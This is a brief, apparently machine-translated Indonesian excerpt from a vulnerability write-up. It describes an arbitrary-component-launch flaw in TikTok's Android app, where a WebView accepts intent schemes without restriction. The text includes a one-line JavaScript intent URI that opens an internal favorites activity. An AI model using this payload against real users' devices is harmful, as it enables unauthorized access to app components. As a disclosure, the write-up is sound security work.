Versi Android TikTok kerentanan startup komponen sewenang-wenang

Kabar baiknya adalah Add Wiki Activity WebView juga mendukung skema maksud tanpa batasan apa pun. Tetapi jika kode berikut dijalankan di Tambah Aktivitas Wiki, Aktivitas Favorit Pengguna akan dipanggil.

location.replace("intent:#Intent;component=com.zhiliaoapp.musically/com.ss.android.ugc.aweme.favorites.ui.UserFavoritesActivity;package=com.zhiliaoapp.musically;action=android.intent.action.VIEW;end;")